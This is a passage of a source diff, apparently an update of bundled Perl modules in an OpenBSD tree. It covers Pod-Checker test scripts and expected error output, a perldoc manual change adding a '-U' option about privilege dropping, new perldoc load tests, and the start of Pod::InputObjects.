-*** ERROR: unresolved internal link 'begin or begin' at line 108 in file t/pod/poderrs.t
-*** ERROR: unresolved internal link 'end with begin' at line 109 in file t/pod/poderrs.t
-*** ERROR: unresolved internal link 'OoPs' at line 110 in file t/pod/poderrs.t
-*** ERROR: unresolved internal link 'abc def' at line 114 in file t/pod/poderrs.t
-*** ERROR: unresolved internal link 'I/O Operators' at line 213 in file t/pod/poderrs.t
+*** WARNING: =head2 without preceding higher level at line 20 in file t/pod/poderrs.t
+*** WARNING: empty section in previous paragraph at line 22 in file t/pod/poderrs.t
+*** WARNING: Verbatim paragraph in NAME section at line 26 in file t/pod/poderrs.t
+*** ERROR: Unknown directive: =unknown1 at line 28 in file t/pod/poderrs.t
+*** ERROR: Deleting unknown formatting code Q<> at line 31 in file t/pod/poderrs.t
+*** ERROR: Deleting unknown formatting code A<> at line 31 in file t/pod/poderrs.t
+*** ERROR: Deleting unknown formatting code Y<> at line 31 in file t/pod/poderrs.t
+*** ERROR: Deleting unknown formatting code V<> at line 31 in file t/pod/poderrs.t
+*** ERROR: Unterminated I<B<...>> sequence at line 36 in file t/pod/poderrs.t
+*** ERROR: Unterminated C<...> sequence at line 40 in file t/pod/poderrs.t
+*** WARNING: line containing nothing but whitespace in paragraph at line 48 in file t/pod/poderrs.t
+*** WARNING: nested commands X<...X<...>...> at line 51 in file t/pod/poderrs.t
+*** WARNING: nested commands S<...S<...>...> at line 51 in file t/pod/poderrs.t
+*** WARNING: nested commands C<...C<...>...> at line 51 in file t/pod/poderrs.t
+*** WARNING: nested commands I<...I<...>...> at line 51 in file t/pod/poderrs.t
+*** WARNING: nested commands F<...F<...>...> at line 51 in file t/pod/poderrs.t
+*** WARNING: nested commands B<...B<...>...> at line 51 in file t/pod/poderrs.t
+*** ERROR: '=item' outside of any '=over' at line 59 in file t/pod/poderrs.t
+*** ERROR: You forgot a '=back' before '=head2' at line 61 in file t/pod/poderrs.t
+*** ERROR: =back without =over at line 63 in file t/pod/poderrs.t
+*** WARNING: empty section in previous paragraph at line 65 in file t/pod/poderrs.t
+*** ERROR: You forgot a '=back' before '=head2' at line 71 in file t/pod/poderrs.t
+*** ERROR: '=end' without a target? at line 73 in file t/pod/poderrs.t
+*** ERROR: =end something without matching =begin. (Stack: [empty]) at line 75 in file t/pod/poderrs.t
+*** WARNING: empty section in previous paragraph at line 77 in file t/pod/poderrs.t
+*** ERROR: =begin without a target? at line 89 in file t/pod/poderrs.t
+*** ERROR: '=end' without a target? at line 91 in file t/pod/poderrs.t
+*** WARNING: empty section in previous paragraph at line 93 in file t/pod/poderrs.t
+*** ERROR: =for without a target? at line 95 in file t/pod/poderrs.t
+*** WARNING: nested commands C<...C<...>...> at line 101 in file t/pod/poderrs.t
+*** ERROR: Unknown E content in E<alea iacta est> at line 105 in file t/pod/poderrs.t
+*** ERROR: An E<...> surrounding strange content at line 105 in file t/pod/poderrs.t
+*** ERROR: An E<...> surrounding strange content at line 105 in file t/pod/poderrs.t
+*** ERROR: Unknown E content in E<unknown_entity> at line 105 in file t/pod/poderrs.t
+*** ERROR: An empty L<> at line 121 in file t/pod/poderrs.t
+*** ERROR: L<> starts or ends with whitespace at line 121 in file t/pod/poderrs.t
+*** ERROR: L<> starts or ends with whitespace at line 121 in file t/pod/poderrs.t
+*** ERROR: L<> starts or ends with whitespace at line 121 in file t/pod/poderrs.t
+*** ERROR: Unterminated L<<< ... >>> sequence at line 137 in file t/pod/poderrs.t
+*** ERROR: Unterminated L<<< ... >>> sequence at line 139 in file t/pod/poderrs.t
+*** ERROR: alternative text 'some text with / in it' contains non-escaped | or / at line 143 in file t/pod/poderrs.t
+*** ERROR: =back doesn't take any parameters, but you said =back 200 at line 150 in file t/pod/poderrs.t
+*** ERROR: A non-empty Z<> at line 158 in file t/pod/poderrs.t
+*** ERROR: An empty X<> at line 160 in file t/pod/poderrs.t
+*** ERROR: An empty E<> at line 164 in file t/pod/poderrs.t
+*** ERROR: =over should be: '=over' or '=over positive_number' at line 166 in file t/pod/poderrs.t
+*** ERROR: You can't have =items (as at line 170) unless the first thing after the =over is an =item at line 166 in file t/pod/poderrs.t
+*** WARNING: =item has no contents at line 176 in file t/pod/poderrs.t
+*** ERROR: Expected '=item *' at line 178 in file t/pod/poderrs.t
+*** ERROR: Expected '=item *' at line 180 in file t/pod/poderrs.t
+*** WARNING: line containing nothing but whitespace in paragraph at line 187 in file t/pod/poderrs.t
+*** ERROR: You can't have =items (as at line 188) unless the first thing after the =over is an =item at line 184 in file t/pod/poderrs.t
+*** ERROR: Expected '=item *' at line 204 in file t/pod/poderrs.t
+*** ERROR: Expected '=item *' at line 208 in file t/pod/poderrs.t
+*** ERROR: You have '=item 3' instead of the expected '=item 2' at line 218 in file t/pod/poderrs.t
+*** ERROR: Expected '=item 3' at line 222 in file t/pod/poderrs.t
+*** ERROR: Expected '=item 4' at line 224 in file t/pod/poderrs.t
+*** ERROR: Expected text after =item, not a bullet at line 234 in file t/pod/poderrs.t
+*** ERROR: Expected text after =item, not a number at line 238 in file t/pod/poderrs.t
+*** WARNING: empty =over/=back block at line 253 in file t/pod/poderrs.t
+*** ERROR: Spurious text after =pod at line 263 in file t/pod/poderrs.t
+*** ERROR: Spurious text after =cut at line 267 in file t/pod/poderrs.t
+*** WARNING: empty section in previous paragraph at line 283 in file t/pod/poderrs.t
+*** ERROR: empty =head1 at line 305 in file t/pod/poderrs.t
+*** ERROR: =over without closing =back at line 311 in file t/pod/poderrs.t
+*** ERROR: =begin :xml without matching =end :xml at line 317 in file t/pod/poderrs.t
+*** ERROR: =begin html without matching =end html at line 313 in file t/pod/poderrs.t
+*** ERROR: unresolved internal link 'begin or begin' at line 115 in file t/pod/poderrs.t
+*** ERROR: unresolved internal link 'end with begin' at line 115 in file t/pod/poderrs.t
+*** ERROR: unresolved internal link 'OoPs' at line 115 in file t/pod/poderrs.t
+*** ERROR: unresolved internal link 'abc def' at line 121 in file t/pod/poderrs.t
+*** ERROR: unresolved internal link ' aha' at line 121 in file t/pod/poderrs.t
+*** ERROR: unresolved internal link 'oho ' at line 121 in file t/pod/poderrs.t
+*** ERROR: unresolved internal link ' weehee ' at line 121 in file t/pod/poderrs.t
+*** ERROR: unresolved internal link 'link_to_nowhere' at line 319 in file t/pod/poderrs.t
+*** WARNING: multiple occurrences (2) of link target '*' at line - in file t/pod/poderrs.t
+*** WARNING: multiple occurrences (2) of link target '1' at line - in file t/pod/poderrs.t
+*** WARNING: multiple occurrences (2) of link target 'Misc' at line - in file t/pod/poderrs.t
diff --git a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/selfcheck.t b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/selfcheck.t
index 3b6e352d3a6..d170570c6cb 100644
--- a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/selfcheck.t
+++ b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/selfcheck.t
@@ -1,45 +1,45 @@
-#!/usr/bin/perl
-use File::Basename;
-use File::Spec;
-use strict;
-my $THISDIR;
-BEGIN {
- $THISDIR = dirname $0;
- unshift @INC, $THISDIR;
- require "testpchk.pl";
- import TestPodChecker qw(testpodcheck);
-}
-
-# test that our POD is correct!
-my $path = File::Spec->catfile($THISDIR,(File::Spec->updir()) x 2, 'lib', 'Pod', '*.pm');
-print "THISDIR=$THISDIR PATH=$path\n";
-my @pods = glob($path);
-print "PODS=@pods\n";
-
-print "1..",scalar(@pods),"\n";
-
-my $errs = 0;
-my $testnum = 1;
-foreach my $pod (@pods) {
- my $out = File::Spec->catfile($THISDIR, basename($pod));
- $out =~ s{\.pm}{.OUT};
- my %options = ( -Out => $out );
- my $failmsg = testpodcheck(-In => $pod, -Out => $out, -Cmp => "$THISDIR/empty.xr");
- if($failmsg) {
- if(open(IN, "<$out")) {
- while(<IN>) {
- warn "podchecker: $_";
- }
- close(IN);
- } else {
- warn "Error: Cannot read output file $out: $!\n";
- }
- print "not ok $testnum\n";
- $errs++;
- } else {
- print "ok $testnum\n";
- }
- $testnum++;
-}
-exit( ($errs == 0) ? 0 : -1 ) unless $ENV{HARNESS_ACTIVE};
-
+#!/usr/bin/perl
+use File::Basename;
+use File::Spec;
+use strict;
+my $THISDIR;
+BEGIN {
+ $THISDIR = dirname $0;
+ unshift @INC, $THISDIR;
+ require "testpchk.pl";
+ import TestPodChecker qw(testpodcheck);
+}
+
+# test that our POD is correct!
+my $path = File::Spec->catfile($THISDIR,(File::Spec->updir()) x 2, 'lib', 'Pod', '*.pm');
+print "THISDIR=$THISDIR PATH=$path\n";
+my @pods = glob($path);
+print "PODS=@pods\n";
+
+print "1..",scalar(@pods),"\n";
+
+my $errs = 0;
+my $testnum = 1;
+foreach my $pod (@pods) {
+ my $out = File::Spec->catfile($THISDIR, basename($pod));
+ $out =~ s{\.pm}{.OUT};
+ my %options = ( -Out => $out );
+ my $failmsg = testpodcheck(-In => $pod, -Out => $out, -Cmp => "$THISDIR/empty.xr");
+ if($failmsg) {
+ if(open(IN, "<$out")) {
+ while(<IN>) {
+ warn "podchecker: $_";
+ }
+ close(IN);
+ } else {
+ warn "Error: Cannot read output file $out: $!\n";
+ }
+ print "not ok $testnum\n";
+ $errs++;
+ } else {
+ print "ok $testnum\n";
+ }
+ $testnum++;
+}
+exit( ($errs == 0) ? 0 : -1 ) unless $ENV{HARNESS_ACTIVE};
+
diff --git a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/testcmp.pl b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/testcmp.pl
index b8592fcc2a8..17f0b0b4c2c 100644
--- a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/testcmp.pl
+++ b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/testcmp.pl
@@ -1,94 +1,94 @@
-package TestCompare;
-
-use vars qw(@ISA @EXPORT $MYPKG);
-#use strict;
-#use diagnostics;
-use Carp;
-use Exporter;
-use File::Basename;
-use File::Spec;
-use FileHandle;
-
-@ISA = qw(Exporter);
-@EXPORT = qw(&testcmp);
-$MYPKG = eval { (caller)[0] };
-
-##--------------------------------------------------------------------------
-
-=head1 NAME
-
-testcmp -- compare two files line-by-line
-
-=head1 SYNOPSIS
-
- $is_diff = testcmp($file1, $file2);
-
-or
-
- $is_diff = testcmp({-cmplines => \&mycmp}, $file1, $file2);
-
-=head2 DESCRIPTION
-
-Compare two text files line-by-line and return 0 if they are the
-same, 1 if they differ. Each of $file1 and $file2 may be a filenames,
-or a filehandles (in which case it must already be open for reading).
-
-If the first argument is a hashref, then the B<-cmplines> key in the
-hash may have a subroutine reference as its corresponding value.
-The referenced user-defined subroutine should be a line-comparator
-function that takes two pre-chomped text-lines as its arguments
-(the first is from $file1 and the second is from $file2). It should
-return 0 if it considers the two lines equivalent, and non-zero
-otherwise.
-
-=cut
-
-##--------------------------------------------------------------------------
-
-sub testcmp( $ $ ; $) {
- my %opts = ref($_[0]) eq 'HASH' ? %{shift()} : ();
- my ($file1, $file2) = @_;
- my ($fh1, $fh2) = ($file1, $file2);
- unless (ref $fh1) {
- $fh1 = FileHandle->new($file1, "r") or die "Can't open $file1: $!";
- }
- unless (ref $fh2) {
- $fh2 = FileHandle->new($file2, "r") or die "Can't open $file2: $!";
- }
-
- my $cmplines = $opts{'-cmplines'} || undef;
- my ($f1text, $f2text) = ("", "");
- my ($line, $diffs) = (0, 0);
-
- while ( defined($f1text) and defined($f2text) ) {
- defined($f1text = <$fh1>) and chomp($f1text);
- defined($f2text = <$fh2>) and chomp($f2text);
- ++$line;
- last unless ( defined($f1text) and defined($f2text) );
- # kill any extra line endings
- $f1text =~ s/[\r\n]+$//s;
- $f2text =~ s/[\r\n]+$//s;
- $diffs = (ref $cmplines) ? &$cmplines($f1text, $f2text)
- : ($f1text ne $f2text);
- last if $diffs;
- }
- close($fh1) unless (ref $file1);
- close($fh2) unless (ref $file2);
-
- $diffs = 1 if (defined($f1text) or defined($f2text));
- if ( defined($f1text) and defined($f2text) ) {
- ## these two lines must be different
- warn "$file1 and $file2 differ at line $line\n";
- }
- elsif (defined($f1text) and (! defined($f1text))) {
- ## file1 must be shorter
- warn "$file1 is shorter than $file2\n";
- }
- elsif (defined $f2text) {
- ## file2 must be longer
- warn "$file1 is shorter than $file2\n";
- }
- return $diffs;
-}
-
-1;
+package TestCompare;
+
+use vars qw(@ISA @EXPORT $MYPKG);
+#use strict;
+#use diagnostics;
+use Carp;
+use Exporter;
+use File::Basename;
+use File::Spec;
+use FileHandle;
+
+@ISA = qw(Exporter);
+@EXPORT = qw(&testcmp);
+$MYPKG = eval { (caller)[0] };
+
+##--------------------------------------------------------------------------
+
+=head1 NAME
+
+testcmp -- compare two files line-by-line
+
+=head1 SYNOPSIS
+
+ $is_diff = testcmp($file1, $file2);
+
+or
+
+ $is_diff = testcmp({-cmplines => \&mycmp}, $file1, $file2);
+
+=head2 DESCRIPTION
+
+Compare two text files line-by-line and return 0 if they are the
+same, 1 if they differ. Each of $file1 and $file2 may be a filenames,
+or a filehandles (in which case it must already be open for reading).
+
+If the first argument is a hashref, then the B<-cmplines> key in the
+hash may have a subroutine reference as its corresponding value.
+The referenced user-defined subroutine should be a line-comparator
+function that takes two pre-chomped text-lines as its arguments
+(the first is from $file1 and the second is from $file2). It should
+return 0 if it considers the two lines equivalent, and non-zero
+otherwise.
+
+=cut
+
+##--------------------------------------------------------------------------
+
+sub testcmp( $ $ ; $) {
+ my %opts = ref($_[0]) eq 'HASH' ? %{shift()} : ();
+ my ($file1, $file2) = @_;
+ my ($fh1, $fh2) = ($file1, $file2);
+ unless (ref $fh1) {
+ $fh1 = FileHandle->new($file1, "r") or die "Can't open $file1: $!";
+ }
+ unless (ref $fh2) {
+ $fh2 = FileHandle->new($file2, "r") or die "Can't open $file2: $!";
+ }
+
+ my $cmplines = $opts{'-cmplines'} || undef;
+ my ($f1text, $f2text) = ("", "");
+ my ($line, $diffs) = (0, 0);
+
+ while ( defined($f1text) and defined($f2text) ) {
+ defined($f1text = <$fh1>) and chomp($f1text);
+ defined($f2text = <$fh2>) and chomp($f2text);
+ ++$line;
+ last unless ( defined($f1text) and defined($f2text) );
+ # kill any extra line endings
+ $f1text =~ s/[\r\n]+$//s;
+ $f2text =~ s/[\r\n]+$//s;
+ $diffs = (ref $cmplines) ? &$cmplines($f1text, $f2text)
+ : ($f1text ne $f2text);
+ last if $diffs;
+ }
+ close($fh1) unless (ref $file1);
+ close($fh2) unless (ref $file2);
+
+ $diffs = 1 if (defined($f1text) or defined($f2text));
+ if ( defined($f1text) and defined($f2text) ) {
+ ## these two lines must be different
+ warn "$file1 and $file2 differ at line $line\n";
+ }
+ elsif (defined($f1text) and (! defined($f1text))) {
+ ## file1 must be shorter
+ warn "$file1 is shorter than $file2\n";
+ }
+ elsif (defined $f2text) {
+ ## file2 must be longer
+ warn "$file1 is shorter than $file2\n";
+ }
+ return $diffs;
+}
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/testpchk.pl b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/testpchk.pl
index 0464a9a0fcf..8517cbdd95e 100644
--- a/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/testpchk.pl
+++ b/gnu/usr.bin/perl/cpan/Pod-Checker/t/pod/testpchk.pl
@@ -1,130 +1,131 @@
-package TestPodChecker;
-
-BEGIN {
- use File::Basename;
- use File::Spec;
- push @INC, '..';
- my $THISDIR = dirname $0;
- unshift @INC, $THISDIR;
- require "testcmp.pl";
- import TestCompare;
- my $PARENTDIR = dirname $THISDIR;
- push @INC, map { File::Spec->catfile($_, 'lib') } ($PARENTDIR, $THISDIR);
- require VMS::Filespec if $^O eq 'VMS';
-}
-
-use Pod::Checker;
-use vars qw(@ISA @EXPORT $MYPKG);
-#use strict;
-#use diagnostics;
-use Carp;
-use Exporter;
-#use File::Compare;
-
-@ISA = qw(Exporter);
-@EXPORT = qw(&testpodchecker);
-@EXPORT_OK = qw(&testpodcheck);
-$MYPKG = eval { (caller)[0] };
-
-sub stripname( $ ) {
- local $_ = shift;
- return /(\w[.\w]*)\s*$/ ? $1 : $_;
-}
-
-sub msgcmp( $ $ ) {
- ## filter out platform-dependent aspects of error messages
- my ($line1, $line2) = @_;
- for ($line1, $line2) {
- ## remove filenames from error messages to avoid any
- ## filepath naming differences between OS platforms
- s/(at line \S+ in file) .*\W(\w+\.[tT])\s*$/$1 \L$2\E/;
- s/.*\W(\w+\.[tT]) (has \d+ pod syntax error)/\L$1\E $2/;
- }
- return ($line1 ne $line2);
-}
-
-sub testpodcheck( @ ) {
- my %args = @_;
- my $infile = $args{'-In'} || croak "No input file given!";
- my $outfile = $args{'-Out'} || croak "No output file given!";
- my $cmpfile = $args{'-Cmp'} || croak "No compare-result file given!";
-
- my $different = '';
- my $testname = basename $infile, '.t', '.xr';
-
- unless (-e $cmpfile) {
- my $msg = "*** Can't find comparison file $cmpfile for testing $infile";
- warn "$msg\n";
- return $msg;
- }
-
- print "# Running podchecker for '$testname'...\n";
- ## Compare the output against the expected result
- if ($^O eq 'VMS') {
- for ($infile, $outfile, $cmpfile) {
- $_ = VMS::Filespec::unixify($_) unless ref;
- }
- }
- podchecker($infile, $outfile);
- if ( testcmp({'-cmplines' => \&msgcmp}, $outfile, $cmpfile) ) {
- $different = "$outfile is different from $cmpfile";
- }
- else {
- unlink($outfile);
- }
- return $different;
-}
-
-sub testpodchecker( @ ) {
- my %opts = (ref $_[0] eq 'HASH') ? %{shift()} : ();
- my @testpods = @_;
- my ($testname, $testdir) = ("", "");
- my ($podfile, $cmpfile) = ("", "");
- my ($outfile, $errfile) = ("", "");
- my $passes = 0;
- my $failed = 0;
- local $_;
-
- print "1..", scalar @testpods, "\n" unless ($opts{'-xrgen'});
-
- for $podfile (@testpods) {
- ($testname, $_) = fileparse($podfile);
- $testdir ||= $_;
- $testname =~ s/\.t$//;
- $cmpfile = $testdir . $testname . '.xr';
- $outfile = $testdir . $testname . '.OUT';
-
- if ($opts{'-xrgen'}) {
- if ($opts{'-force'} or ! -e $cmpfile) {
- ## Create the comparison file
- print "# Creating expected result for \"$testname\"" .
- " podchecker test ...\n";
- podchecker($podfile, $cmpfile);
- }
- else {
- print "# File $cmpfile already exists" .
- " (use '-force' to regenerate it).\n";
- }
- next;
- }
-
- my $failmsg = testpodcheck
- -In => $podfile,
- -Out => $outfile,
- -Cmp => $cmpfile;
- if ($failmsg) {
- ++$failed;
- print "#\tFAILED. ($failmsg)\n";
- print "not ok ", $failed+$passes, "\n";
- }
- else {
- ++$passes;
- unlink($outfile);
- print "#\tPASSED.\n";
- print "ok ", $failed+$passes, "\n";
- }
- }
- return $passes;
-}
-
-1;
+package TestPodChecker;
+
+BEGIN {
+ use File::Basename;
+ use File::Spec;
+ push @INC, '..';
+ my $THISDIR = dirname $0;
+ unshift @INC, $THISDIR;
+ require "testcmp.pl";
+ import TestCompare;
+ my $PARENTDIR = dirname $THISDIR;
+ push @INC, map { File::Spec->catfile($_, 'lib') } ($PARENTDIR, $THISDIR);
+ require VMS::Filespec if $^O eq 'VMS';
+}
+
+use Pod::Checker;
+use vars qw(@ISA @EXPORT $MYPKG);
+#use strict;
+#use diagnostics;
+use Carp;
+use Exporter;
+#use File::Compare;
+
+@ISA = qw(Exporter);
+@EXPORT = qw(&testpodchecker);
+@EXPORT_OK = qw(&testpodcheck);
+$MYPKG = eval { (caller)[0] };
+
+sub stripname( $ ) {
+ local $_ = shift;
+ return /(\w[.\w]*)\s*$/ ? $1 : $_;
+}
+
+sub msgcmp( $ $ ) {
+ ## filter out platform-dependent aspects of error messages
+ my ($line1, $line2) = @_;
+ for ($line1, $line2) {
+ ## remove filenames from error messages to avoid any
+ ## filepath naming differences between OS platforms
+ s/(at line \S+ in file) .*\W(\w+\.[tT])\s*$/$1 \L$2\E/;
+ s/.*\W(\w+\.[tT]) (has \d+ pod syntax error)/\L$1\E $2/;
+ }
+ return ($line1 ne $line2);
+}
+
+sub testpodcheck( @ ) {
+ my %args = @_;
+ my $infile = $args{'-In'} || croak "No input file given!";
+ my $outfile = $args{'-Out'} || croak "No output file given!";
+ my $cmpfile = $args{'-Cmp'} || croak "No compare-result file given!";
+
+ my $different = '';
+ my $testname = basename $infile, '.t', '.xr';
+
+ unless (-e $cmpfile) {
+ my $msg = "*** Can't find comparison file $cmpfile for testing $infile";
+ warn "$msg\n";
+ return $msg;
+ }
+
+ print "# Running podchecker for '$testname'...\n";
+ ## Compare the output against the expected result
+ if ($^O eq 'VMS') {
+ for ($infile, $outfile, $cmpfile) {
+ $_ = VMS::Filespec::unixify($_) unless ref;
+ }
+ }
+ podchecker($infile, $outfile, -warnings => 200);
+ if ( testcmp({'-cmplines' => \&msgcmp}, $outfile, $cmpfile) ) {
+ $different = "$outfile is different from $cmpfile";
+ system("diff -u $cmpfile $outfile") if $ENV{TEST_POD_CHECK_DIFF};
+ }
+ else {
+ unlink($outfile);
+ }
+ return $different;
+}
+
+sub testpodchecker( @ ) {
+ my %opts = (ref $_[0] eq 'HASH') ? %{shift()} : ();
+ my @testpods = @_;
+ my ($testname, $testdir) = ("", "");
+ my ($podfile, $cmpfile) = ("", "");
+ my ($outfile, $errfile) = ("", "");
+ my $passes = 0;
+ my $failed = 0;
+ local $_;
+
+ print "1..", scalar @testpods, "\n" unless ($opts{'-xrgen'});
+
+ for $podfile (@testpods) {
+ ($testname, $_) = fileparse($podfile);
+ $testdir ||= $_;
+ $testname =~ s/\.t$//;
+ $cmpfile = $testdir . $testname . '.xr';
+ $outfile = $testdir . $testname . '.OUT';
+
+ if ($opts{'-xrgen'}) {
+ if ($opts{'-force'} or ! -e $cmpfile) {
+ ## Create the comparison file
+ print "# Creating expected result for \"$testname\"" .
+ " podchecker test ...\n";
+ podchecker($podfile, $cmpfile);
+ }
+ else {
+ print "# File $cmpfile already exists" .
+ " (use '-force' to regenerate it).\n";
+ }
+ next;
+ }
+
+ my $failmsg = testpodcheck
+ -In => $podfile,
+ -Out => $outfile,
+ -Cmp => $cmpfile;
+ if ($failmsg) {
+ ++$failed;
+ print "#\tFAILED. ($failmsg)\n";
+ print "not ok ", $failed+$passes, "\n";
+ }
+ else {
+ ++$passes;
+ unlink($outfile);
+ print "#\tPASSED.\n";
+ print "ok ", $failed+$passes, "\n";
+ }
+ }
+ return $passes;
+}
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/Pod-Perldoc/perldoc.pod b/gnu/usr.bin/perl/cpan/Pod-Perldoc/perldoc.pod
index 79d79cdce37..4cef8f5ef07 100644
--- a/gnu/usr.bin/perl/cpan/Pod-Perldoc/perldoc.pod
+++ b/gnu/usr.bin/perl/cpan/Pod-Perldoc/perldoc.pod
@@ -5,7 +5,7 @@ perldoc - Look up Perl documentation in Pod format.
=head1 SYNOPSIS
- perldoc [-h] [-D] [-t] [-u] [-m] [-l] [-F]
+ perldoc [-h] [-D] [-t] [-u] [-m] [-l] [-U] [-F]
[-i] [-V] [-T] [-r]
[-d destination_file]
[-o formatname]
@@ -34,11 +34,10 @@ See below for more description of the switches.
=head1 DESCRIPTION
-B<perldoc> looks up a piece of documentation in .pod format that is
-embedded in the perl installation tree or in a perl script, and displays
-it via C<groff -man | $PAGER>. (In addition, if running under HP-UX,
-C<col -x> will be used.) This is primarily used for the documentation for
-the perl library modules.
+B<perldoc> looks up documentation in .pod format that is embedded in the perl
+installation tree or in a perl script, and displays it using a variety of
+formatters. This is primarily used for the documentation for the perl library
+modules.
Your system may also have man pages installed for those modules, in
which case you can probably just use the man(1) command.
@@ -78,9 +77,17 @@ the file for you and simply hand it off for display.
Display onB<l>y the file name of the module found.
+=item B<-U>
+
+When running as the superuser, don't attempt drop privileges for security.
+This option is implied with B<-F>.
+
+B<NOTE>: Please see the heading SECURITY below for more information.
+
=item B<-F>
Consider arguments as file names; no search in directories will be performed.
+Implies B<-U> if run as the superuser.
=item B<-f> I<perlfunc>
@@ -229,6 +236,13 @@ drop privileges by setting the effective and real IDs to nobody's
or nouser's account, or -2 if unavailable. If it cannot relinquish
its privileges, it will not run.
+See the C<-U> option if you do not want this behavior but B<beware>
+that there are significant security risks if you choose to use C<-U>.
+
+Since 3.26, using C<-F> as the superuser also implies C<-U> as opening
+most files and traversing directories requires privileges that are
+above the nobody/nogroup level.
+
=head1 ENVIRONMENT
Any switches in the C<PERLDOC> environment variable will be used before the
diff --git a/gnu/usr.bin/perl/cpan/Pod-Perldoc/t/00_load.t b/gnu/usr.bin/perl/cpan/Pod-Perldoc/t/00_load.t
new file mode 100644
index 00000000000..936f8a4d211
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Pod-Perldoc/t/00_load.t
@@ -0,0 +1,23 @@
+use strict;
+use warnings;
+
+use Test::More;
+
+my @classes = ('Pod::Perldoc', map { "Pod::Perldoc::$_" } qw(
+ BaseTo ToChecker ToNroff ToRtf
+ GetOptsOO ToMan ToPod ToText ToXml
+ ToANSI ToTerm
+) );
+
+if( eval { require Tk; require Tk::Pod; 1 } ) { push @classes, 'Pod::Perldoc::ToTk' }
+else {
+ note "Skip testing Pod::Perldoc::ToTk because there's no Tk";
+ }
+
+plan tests => scalar @classes;
+
+foreach my $class ( @classes ) {
+ require_ok( $class );
+ my $version = do { no strict 'refs'; ${ '$' . $class . '::VERSION' } };
+ note( "$class $version" ) if defined $version
+ }
diff --git a/gnu/usr.bin/perl/cpan/Pod-Perldoc/t/01_about_verbose.t b/gnu/usr.bin/perl/cpan/Pod-Perldoc/t/01_about_verbose.t
new file mode 100644
index 00000000000..de0fcada91a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Pod-Perldoc/t/01_about_verbose.t
@@ -0,0 +1,79 @@
+use Test::More tests => 1;
+
+pass();
+
+__END__
+
+BEGIN {
+ use_ok 'Pod::Perldoc';
+}
+
+{
+ my @out;
+ push @out,
+ "\n\nPerl v",
+ defined($^V) ? sprintf('%vd', $^V) : $],
+ " under $^O ",
+ (defined(&Win32::BuildNumber) and defined &Win32::BuildNumber())
+ ? ("(Win32::BuildNumber ", &Win32::BuildNumber(), ")") : (),
+ (defined $MacPerl::Version)
+ ? ("(MacPerl version $MacPerl::Version)") : (),
+ "\n"
+ ;
+
+ # Ugly code to walk the symbol tables:
+ my %v;
+ my @stack = (''); # start out in %::
+ my $this;
+ my $count = 0;
+ my $pref;
+ while(@stack) {
+ $this = shift @stack;
+ die "Too many packages?" if ++$count > 1000;
+ next if exists $v{$this};
+ next if $this eq 'main'; # %main:: is %::
+
+ #print "Peeking at $this => ${$this . '::VERSION'}\n";
+
+ if(defined ${$this . '::VERSION'} ) {
+ $v{$this} = ${$this . '::VERSION'}
+ } elsif(
+ defined *{$this . '::ISA'} or defined &{$this . '::import'}
+ or ($this ne '' and grep defined *{$_}{'CODE'}, values %{$this . "::"})
+ # If it has an ISA, an import, or any subs...
+ ) {
+ # It's a class/module with no version.
+ $v{$this} = undef;
+ } else {
+ # It's probably an unpopulated package.
+ ## $v{$this} = '...';
+ }
+
+ $pref = length($this) ? "$this\::" : '';
+ push @stack, map m/^(.+)::$/ ? "$pref$1" : (), keys %{$this . '::'};
+ #print "Stack: @stack\n";
+ }
+ push @out, " Modules in memory:\n";
+ delete @v{'', '[none]'};
+ foreach my $p (sort {lc($a) cmp lc($b)} keys %v) {
+ $indent = ' ' x (2 + ($p =~ tr/:/:/));
+ push @out, ' ', $indent, $p, defined($v{$p}) ? " v$v{$p};\n" : ";\n";
+ }
+ push @out, sprintf "[at %s (local) / %s (GMT)]\n",
+ scalar(gmtime), scalar(localtime);
+ my $x = join '', @out;
+ $x =~ s/^/#/mg;
+ print $x;
+}
+
+print "# Running",
+ (chr(65) eq 'A') ? " in an ASCII world.\n" : " in a non-ASCII world.\n",
+ "#\n",
+;
+
+print "# \@INC:\n", map("# [$_]\n", @INC), "#\n#\n";
+
+print "# \%INC:\n";
+foreach my $x (sort {lc($a) cmp lc($b)} keys %INC) {
+ print "# [$x] = [", $INC{$x} || '', "]\n";
+}
diff --git a/gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/InputObjects.pm b/gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/InputObjects.pm
new file mode 100644
index 00000000000..c19d4c550bd
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/InputObjects.pm
@@ -0,0 +1,942 @@
+#############################################################################
+# Pod/InputObjects.pm -- package which defines objects for input streams
+# and paragraphs and commands when parsing POD docs.
+#
+# Copyright (C) 1996-2000 by Bradford Appleton. All rights reserved.
+# This file is part of "PodParser". PodParser is free software;
+# you can redistribute it and/or modify it under the same terms
+# as Perl itself.
+#############################################################################
+
+package Pod::InputObjects;
+use strict;
+
+use vars qw($VERSION);
+$VERSION = '1.60'; ## Current version of this package
+require 5.005; ## requires this Perl version or later
+
+#############################################################################
+
+=head1 NAME
+
+Pod::InputObjects - objects representing POD input paragraphs, commands, etc.
+
+=head1 SYNOPSIS
+
+ use Pod::InputObjects;
+
+=head1 REQUIRES
+
+perl5.004, Carp
+
+=head1 EXPORTS
+
+Nothing.
+
+=head1 DESCRIPTION
+
+This module defines some basic input objects used by B<Pod::Parser> when
+reading and parsing POD text from an input source. The following objects
+are defined:
+
+=begin __PRIVATE__
+
+=over 4
+
+=item package B<Pod::InputSource>
+
+An object corresponding to a source of POD input text. It is mostly a
+wrapper around a filehandle or C<IO::Handle>-type object (or anything
+that implements the C<getline()> method) which keeps track of some
+additional information relevant to the parsing of PODs.
+
+=back
+
+=end __PRIVATE__
+
+=over 4
+
+=item package B<Pod::Paragraph>
+
+An object corresponding to a paragraph of POD input text. It may be a
+plain paragraph, a verbatim paragraph, or a command paragraph (see
+L<perlpod>).
